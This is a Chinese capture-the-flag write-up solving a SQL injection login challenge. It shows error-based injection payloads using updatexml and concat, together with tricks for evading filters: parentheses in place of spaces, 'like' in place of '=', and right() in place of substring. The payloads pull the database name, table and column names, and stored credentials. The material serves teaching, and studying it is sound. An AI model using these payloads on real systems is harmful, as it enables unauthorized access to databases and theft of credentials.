首先创建靶机,进入页面,分别输入username和password
1’or 1=1
于是猜想这里应该过滤了空格或者是=,(之前尝试的盲注不合理)
于是我们输入payload:fumo‘ #进行尝试是否对空格进行过滤,发现这里确实是过滤了空格
对于空格的绕过我们可以采用/**/和()的方式(对于任何一个子查询并且给出值得语句我们都可以用()来进行包裹从而避免两边得空格)
尝试后发现确实是过滤了空格。在看了大佬得WP之后,发现这里考察的是一个报错注入的类型。
那我们首先尝试updatexml,构造payload:fumo’or(updatexml(1,‘~’,2))#返回正确的页面
说明updatexml是行得通的,既然这样后面的思路就清晰了,先查数据库
构造fumo’or(updatexml(1,concat(0x7e,database(),ox7e),2))#
concat用于拼接字符串,从而达成报错的效果
成功返回了数据库,接下来查表名,构造payload如下
fumo’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))#
成功查询出表名,接着是列,构造payload如下:
fumo’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))#
拿下列明,最后一步查数据,构造payload如下:
fumo’or(updatexml(1,concat(0x7e,(select(group_concat(username,‘~’,password))from(H4rDsq1)),0x7e),1))#
拿到前一半flag
继续构造payload拿后一半,构造如下:
fumo’or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#
拿到后一半flag,进行拼接后提交;
sql中绕过空格的操作(确定屏蔽字符可以上fuzz进行黑盒测试也行,不过空格还是要是手测)
=被过滤可以用like来绕过
报错注入的基本语法
以及在substring和mid被过滤时可以用right和left来绕过;
如有错误还指正,一定改(